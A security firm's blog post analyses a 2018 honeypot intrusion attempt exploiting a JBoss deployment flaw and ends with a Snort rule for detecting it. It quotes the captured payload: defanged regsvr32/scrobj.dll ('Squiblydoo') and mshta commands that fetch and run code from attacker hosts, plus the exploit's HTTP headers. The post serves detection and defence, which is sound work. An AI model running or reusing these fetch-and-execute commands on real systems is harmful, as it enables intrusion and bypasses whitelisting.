At Langkjaer Cyber Defence we explore the technical aspects of enterprise security controls. Any observations, vulnerabilities, and guides resulting from this will be published here on our blog.
Note: We mostly blog in Danish, but this post is written in English to reach a wider technical audience.
We are actively maintaining a honeypot research project with various systems scattered across the internet. These systems emulate different vulnerable services, and we are happy to say they are getting "hacked" on a regular basis :-).
This blogpost is a story of how we recently became aware of "new" offensive tricks by analysing data from this defensive research project.
On April 9 2018, someone (18.104.22.168) actively tried to compromise multiple of our honeypots. In a short period of time, this IP was trying to compromise several of our systems. We assess that it probably had been scanning large parts of the internet, since we were seeing exploit attempts on multiple of our systems.
He was trying to exploit an old vulnerabillity where misconfigured JBoss servers will allow unauthenticated users to deploy Java applets CVE-2007-1036. What I find sad is the fact that these old vulnerabilities are still being targeted on the internet, meaning that there are probably still vulnerable systems out there.
After analysis of the exploit attempt and extraction/deserialization of the payload (via: SerializationDumper), I stumbled upon something interesting.
cmd.exe /c regsvr32 /s /n /u /i:https[:]//nonnisi[.]serveo[.]net/a scrobj.dll cmd.exe /c regsvr32 /s /n /u /i:https[:]//nonnisi[.]serveo[.]net/login.htm scrobj.dll cmd.exe /c regsvr32 /s /n /u /i:https[:]//blue-yak-25[.]localtunnel[.]me/login.aspx scrobj.dll cmd.exe /c regsvr32 /s /n /u /i:https[:]//senis[.]serveo[.]net/login.asp scrobj.dll cmd.exe /c regsvr32 /s /n /u /i:http[:]//31[.]204[.]153[.]182[:]21012/index.asp scrobj.dll cmd.exe /c mshta.exe http://31[.]204[.]153[.]182[:]21012/index.hta
I had seen the use of mshta.exe before, but this "scrobj.dll"-thing was new to me. A quick Google search revealed a threat advisory from Carbon Black referring to "Squiblydoo", an application whitelisting bypass technique. What I found interesting was that the advisory inferred that you would have to implement "custom" rules for blocking this bypass. Would this bypass perhaps work with "default" settings?
So this JBoss hacker was actively trying to defeat potential application whitelisting solutions, I was impressed and confused at the same time: Who would have JBoss server with unauthanticated app deployment, and then at the same time had gone through the trouble of implementing application whitelisting on it?
We are going to have a closer look at these and other bypass techniques vs application whitelisting solutions in a future blog post.
We tried to fetch the second stage files from this attack. However, at the point in time of writing they where not available anymore. If this was a "real" incident, it would have been an interesting case for writing good network IOC's/Signatures for further detection:
Traditional IOC's seemed like a bad way of trying to detect this attack, since these where either too generic or too dynamic.
I figured that there would probably already be an open source signature available for detection of of this vulnerability. But after Googling, I could not find a good generic signature for the exploitation part. After this I then tried to fetch the latest Emerging Threats opensource ruleset. However, I was not seeing any of the ET-rules fire on my PCAP, so I decided to write a signature of my own.
In my experience a good starting point for writing signatures is targeting the things that are hard/impossible to change for the adversary:
If posting Java serialized data with "cmd.exe /c" inside is not part of your normal business requirements, we now have a pretty good starting point for writing a successful signature.
Investigating of the exploitation attempts header values:
POST /invoker/JMXInvokerServlet HTTP/1.1 Host: "HONEYPOT IP" user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 content-type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue content-length: 1351 accept-encoding: gzip, deflate
The Snort rule below should fire if anyone sends HTTP-traffic with "content-type: application/x-java-serialized-object" and "cmd.exe /c" to a webserver running on port 8080. Since we have not restricted us to a hardcoded URI/User-Agent/etc. we should now have a better chance of generic detection.
alert tcp any any -> any 8080 (msg: "Potential Java serialization exploit attempt detected"; content:"application/x-java-serialized-object"; http_header; flow:to_server,established; content: "cmd.exe"; content:"/c"; within:20; sid:9009112; rev:1;)
This honeypot "incident" was a good example of how you can actually learn something new from adversaries trying to compromise your networks.
We are happy to share the snort rule + traditional IOC's. We hope that someone will catch some evil bytes with them...